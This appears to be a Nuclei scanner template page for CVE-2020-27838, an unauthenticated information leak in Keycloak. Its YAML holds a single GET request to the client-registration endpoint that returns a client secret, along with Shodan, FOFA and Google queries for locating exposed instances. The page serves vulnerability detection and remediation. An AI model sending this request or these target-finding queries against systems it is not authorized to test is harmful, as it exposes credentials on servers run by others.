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Nuclei Templates

KeyCloak - Information Exposure

ID: CVE-2020-27838

Severity: medium

Author: mchklt

Tags: cve,cve2020,keycloak,exposure,redhat

Description

Section titled “Description”

A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.

YAML Source

Section titled “YAML Source”
id: CVE-2020-27838


info:
  name: KeyCloak - Information Exposure
  author: mchklt
  severity: medium
  description: |
    A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
  remediation: |
    Apply the latest security patches or updates provided by the KeyCloak vendor.
  reference:
    - https://bugzilla.redhat.com/show_bug.cgi?id=1906797
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27838
    - https://github.com/muneebaashiq/MBProjects
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-27838
    cwe-id: CWE-287
    epss-score: 0.08135
    epss-percentile: 0.93734
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query:
      - "title:\"keycloak\""
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve,cve2020,keycloak,exposure,redhat


http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '"clientId":\s*"security-admin-console"'
          - '"secret":'
        condition: and


      - type: word
        part: header
        words:
          - 'application/json'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b28d2cca4e1950a63f70c4c0b5e1ad9e21378cbf98540fe3ded2031e489696a302202db30669261778be503d093cd333b7562a1c843889100d143e97688bb55d287c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-27838.yaml"

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